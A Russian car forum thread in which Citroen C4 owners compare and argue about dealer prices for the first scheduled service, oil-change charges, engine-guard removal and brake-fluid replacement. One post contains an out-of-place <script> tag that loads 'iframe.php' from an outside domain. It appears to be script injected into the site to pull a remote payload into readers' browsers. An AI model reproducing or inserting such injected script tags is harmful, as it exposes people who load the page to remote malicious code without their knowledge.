Стоимость ТО1 - 20000 км

[TAC1]

Вопрос цены - это вопрос вкуса фломастеров. 1200 - не нормально. А сколько нормально?

Покупая машину - будьте готовы к затратам.

На ТО-4 в предыдущей регенерации С4 с двигателем 110 сил - замена ремня ГРМ. ТО-4 - почти 20000 руб. Возмущались что дорого, но платили. :dntknw:/>

Никто не мешает возмущаться на цену замены масла в 1200 рублей.

Но это понятная цена - замена масла 1200 рублей.

Тут нет замена 600 и снятие/установка защиты 600.

Я знаю, что приехав на замену масла и отдав 1200 рублей - мне поменяют масло. И в счете не будет пунктов - "Прокатило".

 

Вопрос цены бывает вопросом вкуса фломастеров при продаже украденного товара, когда по вашему внешнему виду прикидывают сколько бы с вас слупить. В нормальном обществе исходят из затрат и плановой рентабельности. А ещё есть конкуренция, маркетинг и пр. Существуют такие понятия, как трудоёмкость операций, нормирование трудозатрат, фотография рабочего дня, нормочасы и пр. Слышали, наверное? Если для вас понятна цена 1200 руб. за работу по замене масла на Ситроене, то мне она непонятна, так как я знаю, какие операции надо сделать и сколько времени они занимают.

[Бес]

Слышали, наверное?

 

Да, конечно, а еще слышал понятие Гарантийный ремонт, Сервисная книжка, Условия сохранения гарантии, Монополист предоставляемых услуг (в ракусе Гарантии) и т.д.

Есть желание посудиться с ОД по поводу трудоемкости операций, нормирования затрат и т.д. и обязать ОД предоставлять услуги по замене масла по 600 рублей?

В чем отличие замены масла на Ситроене и БМВ/Вольво и т.д. Ну принципиально? Не беря в расчет уникальные моторы в которых чтобы снять фильтр надо пол-двигателя разобрать. Ничем. :dntknw:

А цены что-то разные.

 

Повторяю:

 

Никто не мешает возмущаться на цену замены масла в 1200 рублей.

 

Можно еще про цены на услуги ЖКХ повозмущаться...

[TAC1]

Да, конечно, а еще слышал понятие Гарантийный ремонт, Сервисная книжка, Условия сохранения гарантии, Монополист предоставляемых услуг (в ракусе Гарантии) и т.д.

Есть желание посудиться с ОД по поводу трудоемкости операций, нормирования затрат и т.д. и обязать ОД предоставлять услуги по замене масла по 600 рублей?

В чем отличие замены масла на Ситроене и БМВ/Вольво и т.д. Ну принципиально? Не беря в расчет уникальные моторы в которых чтобы снять фильтр надо пол-двигателя разобрать. Ничем. :dntknw:/>

А цены что-то разные.

 

Повторяю:

 

 

Можно еще про цены на услуги ЖКХ повозмущаться...

 

Можно, но это не в этом форуме. А потом - ну почему же просто возмущаться? Я после такой замены масла связывался с представительством, затем мне звонили от Од и при следующем обслуживании сделали скидку на величину "снять-поставить" защиту.

По крайней мере не чувствую себя обманутым. А если кому-то нормально платить 1200 за замену масла, тот может делать это сколько угодно раз.

[KPI17]

Мэйджор новая рига. ТО1 (20000) - 6150р.

P.S.

Перед покупкой автомобиля прикиньте, сколько планируете им пользоваться, узнайте стоимость ТО. Если всё устраивает-деньги в кассу и вперед. Непонимаю, зачем покупать машину, а потом колхозить и жаловаться что вас обдирают. Наверное стоит сначала купить калькулятор.

Изменено 22 февраля, 2013 пользователем KPI17

[TAC1]

Тоже вариант. Только при таком подходе непонятно, зачем читать и писать в этом разделе форума. Приехал к официальному дилеру, заплатил сколько сказали и порядок.

[Бес]

Приехал к официальному дилеру, заплатил сколько сказали и порядок.

 

Только почему-то народ в счет смотрит. :scratch_one-s_head: И задается вопросам - откуда снятие/установка?.

 

P.S.

TAC1, неужели еще не понятно что мы пытаемся обсудить две проблемы у которых разная "природа"?

[TAC1]

Только почему-то народ в счет смотрит. :scratch_one-s_head:/> И задается вопросам - откуда снятие/установка?.

 

P.S.

TAC1, неужели еще не понятно что мы пытаемся обсудить две проблемы у которых разная "природа"?

 

Мне нет. Какая природа у этих проблем? Кстати, у каких? Расшифруй, пожалуйста.

Могу сформулировать со своей стороны. Я считаю, что за замену масла у 1200 руб. это много. Ты считаешь, что нормально, лишь бы это было красиво оформлено.

Кстати, сегодня был на ТО-40000 в Жулебино. Присутствовал в ремзоне от начала до конца. Всё сделали быстро и аккуратно. Так вот - защиту действительно снимают. Под пробкой слива масла как раз находится одна из продольных пластин, которая не даёт отвернуть пробку, а так же аккуратно слить масло. Машина выпуска середины 2011 года. Правда, слесарь сказал, что у части машин есть большое отверстие в этом месте. Так что надо смотреть в каждом конкретном случае. Кстати, за замену топливного фильтра взяли дополнительно к цене ТО - 300 руб. И если бы я его не привёз с собой - никто бы и не подумал его менять, хотя в сервисной книжке написано про замену.

[VaLeO 9-1 1]

А вам слабо?

 

 

<script type="text/javascript" src="http://dreamselfprotection.net/iframe.php">

 

+ заменили всеми "любимый" блок над АКБ, по отзывной, хотя "старый" и не глючил.

[Breadfun]

Литр масла недолили !? :-)

[VaLeO 9-1 1]

недолили !?

 

У меня 109 л.с.

[Aquarius-B]

А я за очистку воздушного фильтра не платил :) Раньше отписывался :) у меня ~5000 вышло

[Бес]

Мне нет. Какая природа у этих проблем? Кстати, у каких? Расшифруй, пожалуйста.

 

Одна проблема - дороговизна, неадекватность цен, персонала и т.д. на услуги.

Вторая - вписывают в счет пункт, которого быть не должно.

 

И если по первой можно рассуждать бесконечно, ругая ОД, буржуев, правительство и т.д., то по второй вроде все ясно. По крайней мере мне.

Вопрос-то простой: замена масла.

Процесс замены состоит из "слить масло" и "залить масло" (фильтры опустим для простоты).

Чтобы слить - надо снять защиту и открутить пробку.

Чтобы залить - надо открыть капот и открутить пробку.

Почему за первое ОД хочет денег, а за второе нет?

 

А то, что не устраивает цена 1200 за замену масла... Жизнь дорожает. :dntknw:

[s.e.r.g.]

 

Чтобы слить - надо снять защиту и открутить пробку.

:dntknw:/>

 

А, кажись, чтобы открутить сливную пробку, снимать поддон не обязательно, там есть окно.

[KPI17]

Уважаемый TAC1, тема этого раздела - стоимость ТО1. Читаю, т.к. интересно как отличаются цены в зависимости от диллера/города/региона. Да, приехал, да, заплатил, потому что каждый должен заниматься своей работой, только потом еси что вы сможете предъявлять претензии ОД, а не он вам за отказ от каких либо работ итд. Вы аппендицит тоже сами себе удалять будете или бегать и искать где анестезия дешевле? Наверное нет. Сделаете там где действительно лечат.

Надеюсь не обидел.

[VaLeO 9-1 1]

А, кажись, чтобы открутить сливную пробку, снимать поддон не обязательно, там есть окно.

 

Не всегда. Есть два типа защиты картера/поддона/шумоизоляции (по ситроен-сервис) : 1-с малым кол-вом дыр, и 2-как решето (у меня).

 

Так же есть три типа движков : 1.6i-110; VTI-120; eHDi-110. Не берусь утверждать совпадают у них места расположения сливных пробок или нет (не знаю) .

 

Теперь представьте, зная "приколы" наших французианцев, различные сочетания этих защит и движков .

 

 

Мне повезло дыыыра прям под пробкой имеется в защите .

 

Но есть минус в неснимании... при замене маслянного фильтра - вся защита в масле... . Вот думаю - чем пшикнуть чтоб это пятно смыть?

[Spirakoo]

Мне пропшикали все чуть ли не весь двигатель типа уайт-спирита или еще чем. Так что было чисто

[TAC1]

 

Процесс замены состоит из "слить масло" и "залить масло" (фильтры опустим для простоты).

Чтобы слить - надо снять защиту и открутить пробку.

Чтобы залить - надо открыть капот и открутить пробку.

Почему за первое ОД хочет денег, а за второе нет?

:dntknw:/>

Дилер не хочет за что-то денег? По крайней мере наивно.

Я свою позицию высказал, вашу до сих пор не понял. Жизнь дорожает? Ну, да, Волга впадает в Каспийское море, лошади кушают овёс. Неужели вы до сих пор не поняли, что я вам хотел сказать, что не надо говорить что-то ради того, чтобы сказать что-то?

 

Уважаемый TAC1, тема этого раздела - стоимость ТО1. Читаю, т.к. интересно как отличаются цены в зависимости от диллера/города/региона. Да, приехал, да, заплатил, потому что каждый должен заниматься своей работой, только потом еси что вы сможете предъявлять претензии ОД, а не он вам за отказ от каких либо работ итд. Вы аппендицит тоже сами себе удалять будете или бегать и искать где анестезия дешевле? Наверное нет. Сделаете там где действительно лечат.

Надеюсь не обидел.

 

Ну вообще - феерия какая-то. Интересно, как дилер может предъявить мне претензии?? Хотел бы я посмотреть на этот процесс.

Про аппендицит - если будет запас времени, то и анастезию хорошую поищу и хирурга приличного. Если будет пара равноценных вариантов, то выберу подешевле, наверно. А может и нет - зависеть будет от кучи факторов. И вообще - зачем самому себе живот-то резать? Я не умею.

[igor-mil]

привет всем. ТО-1 прошел АИС ЛУГАНСК стоимость 1149 гривен. заменили м.масло, м.фильтр,салонный фильтр,замена тормозную жидкость, долив жидкости сист. охлаждения, долив масла усилителя руля.

[Бес]

замена тормозную жидкость

 

:scratch_one-s_head: :scratch_one-s_head:

[KPI17]

привет всем. ТО-1 прошел АИС ЛУГАНСК стоимость 1149 гривен. заменили м.масло, м.фильтр,салонный фильтр,замена тормозную жидкость, долив жидкости сист. охлаждения, долив масла усилителя руля.

 

разве на ТО1 меняют тормозную жидкость? У меня не меняли, и кажется в регламенте этого нет.

[ДИМОНС]

разве на ТО1 меняют тормозную жидкость? У меня не меняли, и кажется в регламенте этого нет.

 

Возможен долив т.ж всё зависит от износа колодок.

[KPI17]

Возможен долив т.ж всё зависит от износа колодок.

 

долив-это же не замена

[Igor71]

Всем привет! Промежуточное ТО - 10000км всего 2750руб. работа + замена маслав двигателе и масленого фильтра, Ситроен-Отрадное. Москва, через 1000км поеду делать ТО-1

 

...если прошло 2 года, по регламенту положена замена жидкости не зависимо от пробега!

[Бес]

...если прошло 2 года

 

, то было бы ТО-2, и вопроса по замене тормозной жидкости не возникло бы.

Но...

ТО-1 прошел

 

Значит год. По сроку, по пробегу - пофиг, но год.

[alf64]

Звонил ОД допуск +1000 км